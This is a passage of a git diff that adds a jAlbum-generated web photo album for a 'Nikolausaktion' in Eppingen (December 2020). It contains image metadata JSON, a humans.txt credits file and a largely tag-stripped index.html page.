    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517035_0001.jpg","dates":{"dateTaken":1608392929},"fileDate":"2020-12-19T16:48:49.215Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:49.215Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517040_0001.jpg","image":{"path":"slides\/S22C-620121517040_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517040 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517040_0001.jpg","width":340,"height":260},"fileSize":471938,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517040_0001.jpg","dates":{"dateTaken":1608392930},"fileDate":"2020-12-19T16:48:50.593Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:50.593Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517041_0001.jpg","image":{"path":"slides\/S22C-620121517041_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517041 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517041_0001.jpg","width":340,"height":260},"fileSize":329707,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517041_0001.jpg","dates":{"dateTaken":1608392932},"fileDate":"2020-12-19T16:48:52.249Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:52.249Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517050_0001.jpg","image":{"path":"slides\/S22C-620121517050_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517050 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517050_0001.jpg","width":340,"height":260},"fileSize":263199,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517050_0001.jpg","dates":{"dateTaken":1608392933},"fileDate":"2020-12-19T16:48:53.210Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:53.210Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517051_0001.jpg","image":{"path":"slides\/S22C-620121517051_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517051 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517051_0001.jpg","width":340,"height":260},"fileSize":1038249,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517051_0001.jpg","dates":{"dateTaken":1608392934},"fileDate":"2020-12-19T16:48:54.346Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:54.346Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517052_0001.jpg","image":{"path":"slides\/S22C-620121517052_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517052 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517052_0001.jpg","width":340,"height":260},"fileSize":397025,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517052_0001.jpg","dates":{"dateTaken":1608392935},"fileDate":"2020-12-19T16:48:55.436Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:55.436Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517053_0001.jpg","image":{"path":"slides\/S22C-620121517053_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517053 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517053_0001.jpg","width":340,"height":260},"fileSize":502245,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517053_0001.jpg","dates":{"dateTaken":1608392937},"fileDate":"2020-12-19T16:48:57.219Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:57.219Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517060_0001.jpg","image":{"path":"slides\/S22C-620121517060_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517060 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517060_0001.jpg","width":340,"height":260},"fileSize":957330,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517060_0001.jpg","dates":{"dateTaken":1608392939},"fileDate":"2020-12-19T16:48:59.323Z","category":"image","camera":{"originalDate":"2020-12-19T16:48:59.323Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517061_0001.jpg","image":{"path":"slides\/S22C-620121517061_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517061 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517061_0001.jpg","width":340,"height":260},"fileSize":421632,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517061_0001.jpg","dates":{"dateTaken":1608392940},"fileDate":"2020-12-19T16:49:00.521Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:00.521Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517062_0001.jpg","image":{"path":"slides\/S22C-620121517062_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517062 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517062_0001.jpg","width":340,"height":260},"fileSize":312763,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517062_0001.jpg","dates":{"dateTaken":1608392941},"fileDate":"2020-12-19T16:49:01.507Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:01.507Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517063_0001.jpg","image":{"path":"slides\/S22C-620121517063_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517063 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517063_0001.jpg","width":340,"height":260},"fileSize":558141,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517063_0001.jpg","dates":{"dateTaken":1608392942},"fileDate":"2020-12-19T16:49:02.435Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:02.435Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517070_0001.jpg","image":{"path":"slides\/S22C-620121517070_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517070 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517070_0001.jpg","width":340,"height":260},"fileSize":546368,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517070_0001.jpg","dates":{"dateTaken":1608392946},"fileDate":"2020-12-19T16:49:06.952Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:06.952Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517071_0001.jpg","image":{"path":"slides\/S22C-620121517071_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517071 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517071_0001.jpg","width":340,"height":260},"fileSize":384577,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517071_0001.jpg","dates":{"dateTaken":1608392951},"fileDate":"2020-12-19T16:49:11.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:11.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517072_0001.jpg","image":{"path":"slides\/S22C-620121517072_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517072 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517072_0001.jpg","width":340,"height":260},"fileSize":560596,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517072_0001.jpg","dates":{"dateTaken":1608392952},"fileDate":"2020-12-19T16:49:12.967Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:12.967Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517083_0001.jpg","image":{"path":"slides\/S22C-620121517083_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517083 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517083_0001.jpg","width":340,"height":260},"fileSize":911694,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517083_0001.jpg","dates":{"dateTaken":1608392956},"fileDate":"2020-12-19T16:49:16.710Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:16.710Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517084_0001.jpg","image":{"path":"slides\/S22C-620121517084_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517084 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517084_0001.jpg","width":340,"height":260},"fileSize":344189,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517084_0001.jpg","dates":{"dateTaken":1608392957},"fileDate":"2020-12-19T16:49:17.837Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:17.837Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517085_0001.jpg","image":{"path":"slides\/S22C-620121517085_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517085 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517085_0001.jpg","width":340,"height":260},"fileSize":711225,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517085_0001.jpg","dates":{"dateTaken":1608392958},"fileDate":"2020-12-19T16:49:18.906Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:18.906Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517090_0001.jpg","image":{"path":"slides\/S22C-620121517090_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517090 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517090_0001.jpg","width":340,"height":260},"fileSize":525442,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517090_0001.jpg","dates":{"dateTaken":1608392959},"fileDate":"2020-12-19T16:49:19.963Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:19.963Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517091_0001.jpg","image":{"path":"slides\/S22C-620121517091_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517091 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517091_0001.jpg","width":340,"height":260},"fileSize":276063,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517091_0001.jpg","dates":{"dateTaken":1608392961},"fileDate":"2020-12-19T16:49:21.28Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:21.28Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517093_0001.jpg","image":{"path":"slides\/S22C-620121517093_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517093 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517093_0001.jpg","width":340,"height":260},"fileSize":299435,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517093_0001.jpg","dates":{"dateTaken":1608392966},"fileDate":"2020-12-19T16:49:26.686Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:26.686Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517100_0001.jpg","image":{"path":"slides\/S22C-620121517100_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517100 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517100_0001.jpg","width":340,"height":260},"fileSize":405861,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517100_0001.jpg","dates":{"dateTaken":1608392969},"fileDate":"2020-12-19T16:49:29.911Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:29.911Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517101_0001.jpg","image":{"path":"slides\/S22C-620121517101_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517101 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517101_0001.jpg","width":340,"height":260},"fileSize":316499,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517101_0001.jpg","dates":{"dateTaken":1608392972},"fileDate":"2020-12-19T16:49:32.73Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:32.73Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517103_0001.jpg","image":{"path":"slides\/S22C-620121517103_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517103 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517103_0001.jpg","width":340,"height":260},"fileSize":279221,"photodata":"

    Auflösung<\/b> 3307 x 2338<\/i><\/p>","name":"S22C-620121517103_0001.jpg","dates":{"dateTaken":1608392976},"fileDate":"2020-12-19T16:49:36.213Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:36.213Z","resolution":"3307 x 2338"}},{"path":"S22C-620121517104_0001.jpg","image":{"path":"slides\/S22C-620121517104_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517104 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517104_0001.jpg","width":340,"height":260},"fileSize":443289,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517104_0001.jpg","dates":{"dateTaken":1608392981},"fileDate":"2020-12-19T16:49:41.612Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:41.612Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517110_0001.jpg","image":{"path":"slides\/S22C-620121517110_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517110 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517110_0001.jpg","width":340,"height":260},"fileSize":368151,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517110_0001.jpg","dates":{"dateTaken":1608392984},"fileDate":"2020-12-19T16:49:44.36Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:44.36Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517112_0001.jpg","image":{"path":"slides\/S22C-620121517112_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517112 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517112_0001.jpg","width":340,"height":260},"fileSize":518023,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517112_0001.jpg","dates":{"dateTaken":1608392986},"fileDate":"2020-12-19T16:49:46.860Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:46.860Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517114_0001.jpg","image":{"path":"slides\/S22C-620121517114_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517114 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517114_0001.jpg","width":340,"height":260},"fileSize":465488,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517114_0001.jpg","dates":{"dateTaken":1608392989},"fileDate":"2020-12-19T16:49:49.891Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:49.891Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517115_0001.jpg","image":{"path":"slides\/S22C-620121517115_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517115 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517115_0001.jpg","width":340,"height":260},"fileSize":463515,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517115_0001.jpg","dates":{"dateTaken":1608392991},"fileDate":"2020-12-19T16:49:51.227Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:51.227Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517120_0001.jpg","image":{"path":"slides\/S22C-620121517120_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517120 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517120_0001.jpg","width":340,"height":260},"fileSize":343781,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517120_0001.jpg","dates":{"dateTaken":1608392992},"fileDate":"2020-12-19T16:49:52.451Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:52.451Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517121_0001.jpg","image":{"path":"slides\/S22C-620121517121_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517121 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517121_0001.jpg","width":340,"height":260},"fileSize":249999,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517121_0001.jpg","dates":{"dateTaken":1608392993},"fileDate":"2020-12-19T16:49:53.530Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:53.530Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517122_0001.jpg","image":{"path":"slides\/S22C-620121517122_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517122 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517122_0001.jpg","width":340,"height":260},"fileSize":433126,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517122_0001.jpg","dates":{"dateTaken":1608392994},"fileDate":"2020-12-19T16:49:54.710Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:54.710Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517123_0001.jpg","image":{"path":"slides\/S22C-620121517123_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517123 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517123_0001.jpg","width":340,"height":260},"fileSize":349647,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517123_0001.jpg","dates":{"dateTaken":1608392996},"fileDate":"2020-12-19T16:49:56.647Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:56.647Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517124_0001.jpg","image":{"path":"slides\/S22C-620121517124_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517124 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517124_0001.jpg","width":340,"height":260},"fileSize":644771,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517124_0001.jpg","dates":{"dateTaken":1608392999},"fileDate":"2020-12-19T16:49:59.337Z","category":"image","camera":{"originalDate":"2020-12-19T16:49:59.337Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517125_0001.jpg","image":{"path":"slides\/S22C-620121517125_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517125 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517125_0001.jpg","width":340,"height":260},"fileSize":271245,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517125_0001.jpg","dates":{"dateTaken":1608393000},"fileDate":"2020-12-19T16:50:00.947Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:00.947Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517132_0001.jpg","image":{"path":"slides\/S22C-620121517132_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517132 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517132_0001.jpg","width":340,"height":260},"fileSize":334802,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517132_0001.jpg","dates":{"dateTaken":1608393004},"fileDate":"2020-12-19T16:50:04.551Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:04.551Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517133_0001.jpg","image":{"path":"slides\/S22C-620121517133_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517133 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517133_0001.jpg","width":340,"height":260},"fileSize":336634,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517133_0001.jpg","dates":{"dateTaken":1608393006},"fileDate":"2020-12-19T16:50:06.265Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:06.265Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517134_0001.jpg","image":{"path":"slides\/S22C-620121517134_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517134 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517134_0001.jpg","width":340,"height":260},"fileSize":384817,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517134_0001.jpg","dates":{"dateTaken":1608393007},"fileDate":"2020-12-19T16:50:07.682Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:07.682Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517135_0001.jpg","image":{"path":"slides\/S22C-620121517135_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517135 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517135_0001.jpg","width":340,"height":260},"fileSize":273454,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517135_0001.jpg","dates":{"dateTaken":1608393008},"fileDate":"2020-12-19T16:50:08.989Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:08.989Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517140_0001.jpg","image":{"path":"slides\/S22C-620121517140_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517140 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517140_0001.jpg","width":340,"height":260},"fileSize":439398,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517140_0001.jpg","dates":{"dateTaken":1608393016},"fileDate":"2020-12-19T16:50:16.298Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:16.298Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517141_0001.jpg","image":{"path":"slides\/S22C-620121517141_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517141 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517141_0001.jpg","width":340,"height":260},"fileSize":408041,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517141_0001.jpg","dates":{"dateTaken":1608393017},"fileDate":"2020-12-19T16:50:17.950Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:17.950Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517142_0001.jpg","image":{"path":"slides\/S22C-620121517142_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517142 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517142_0001.jpg","width":340,"height":260},"fileSize":335224,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517142_0001.jpg","dates":{"dateTaken":1608393019},"fileDate":"2020-12-19T16:50:19.408Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:19.408Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517143_0001.jpg","image":{"path":"slides\/S22C-620121517143_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517143 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517143_0001.jpg","width":340,"height":260},"fileSize":311073,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517143_0001.jpg","dates":{"dateTaken":1608393020},"fileDate":"2020-12-19T16:50:20.866Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:20.866Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517144_0001.jpg","image":{"path":"slides\/S22C-620121517144_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517144 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517144_0001.jpg","width":340,"height":260},"fileSize":501035,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517144_0001.jpg","dates":{"dateTaken":1608393022},"fileDate":"2020-12-19T16:50:22.238Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:22.238Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517150_0001.jpg","image":{"path":"slides\/S22C-620121517150_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517150 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517150_0001.jpg","width":340,"height":260},"fileSize":579838,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517150_0001.jpg","dates":{"dateTaken":1608393023},"fileDate":"2020-12-19T16:50:23.441Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:23.441Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517151_0001.jpg","image":{"path":"slides\/S22C-620121517151_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517151 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517151_0001.jpg","width":340,"height":260},"fileSize":327282,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517151_0001.jpg","dates":{"dateTaken":1608393024},"fileDate":"2020-12-19T16:50:24.534Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:24.534Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517152_0001.jpg","image":{"path":"slides\/S22C-620121517152_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517152 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517152_0001.jpg","width":340,"height":260},"fileSize":644720,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517152_0001.jpg","dates":{"dateTaken":1608393025},"fileDate":"2020-12-19T16:50:25.510Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:25.510Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517153_0001.jpg","image":{"path":"slides\/S22C-620121517153_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517153 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517153_0001.jpg","width":340,"height":260},"fileSize":673251,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517153_0001.jpg","dates":{"dateTaken":1608393026},"fileDate":"2020-12-19T16:50:26.420Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:26.420Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517154_0001.jpg","image":{"path":"slides\/S22C-620121517154_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121517154 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517154_0001.jpg","width":340,"height":260},"fileSize":325444,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517154_0001.jpg","dates":{"dateTaken":1608393027},"fileDate":"2020-12-19T16:50:27.316Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:27.316Z","resolution":"1653 x 2338"}},{"path":"S22C-620121517155_0001.jpg","image":{"path":"slides\/S22C-620121517155_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121517155 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121517155_0001.jpg","width":340,"height":260},"fileSize":289096,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121517155_0001.jpg","dates":{"dateTaken":1608393037},"fileDate":"2020-12-19T16:50:37.797Z","category":"image","camera":{"originalDate":"2020-12-19T16:50:37.797Z","resolution":"1653 x 2338"}}],"name":"Nikolausaktion-Eppingen","dates":{"dateRange":{"0":1607634733,"1":1608393037}}} \ No newline at end of file diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/folderimage.jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/folderimage.jpg new file mode 100644 index 00000000..8516907e Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/folderimage.jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/folderthumb.jpg b/public/fotoalbum/Nikolausaktion-Eppingen/album/folderthumb.jpg new file mode 100644 index 00000000..d8a781bf Binary files /dev/null and b/public/fotoalbum/Nikolausaktion-Eppingen/album/folderthumb.jpg differ diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/humans.txt b/public/fotoalbum/Nikolausaktion-Eppingen/album/humans.txt new file mode 100644 index 00000000..5e672185 --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Eppingen/album/humans.txt @@ -0,0 +1,18 @@ +/* See: humanstxt.org */ + +/* TEAM */ + Album template author: Laszlo Molnar + Site: http://lazaworx.com/ + Contact: m_laca@yahoo.com + Location: Budapest, Hungary + +/* THANKS */ + jAlbum team (http://jalbum.net/), jGromit, mrag, robM + textures: webtexture.net, www.tamararogers.co.uk, subtlepatterns.com + translators: Jan Trcka, Klaus Sassenfeld, Guy Deneyer, Eyael, Danamel, Pentti Stenman, Giovanni D'Amico, Jaehyung Lee, Freek Pol, Luis Simas Menem, Marko Ambrozic, David Ekholm + +/* SITE */ + Standards: HTML5, CSS3 + Components: Zurb Framework 6, Modernizr, jQuery, Google Maps, PayPal, Facebook API, Google API + Software: jAlbum + diff --git a/public/fotoalbum/Nikolausaktion-Eppingen/album/index.html b/public/fotoalbum/Nikolausaktion-Eppingen/album/index.html new file mode 100644 index 00000000..0d89e4ca --- /dev/null +++ b/public/fotoalbum/Nikolausaktion-Eppingen/album/index.html @@ -0,0 +1,155 @@ + + + + + + + + Nikolausaktion-Eppingen + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    +
    + +
    + +
    +
    +
    +
    +
    +

    Nikolausaktion-Eppingen 10-19.12.20

    +
    Diashow starten
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +

    Beilage STA

    43 Bilder

    +
    + +
    +
    +
    +
    +
    + +
    + +
    + + + + + + + + + + + + + + + + +
    + + +
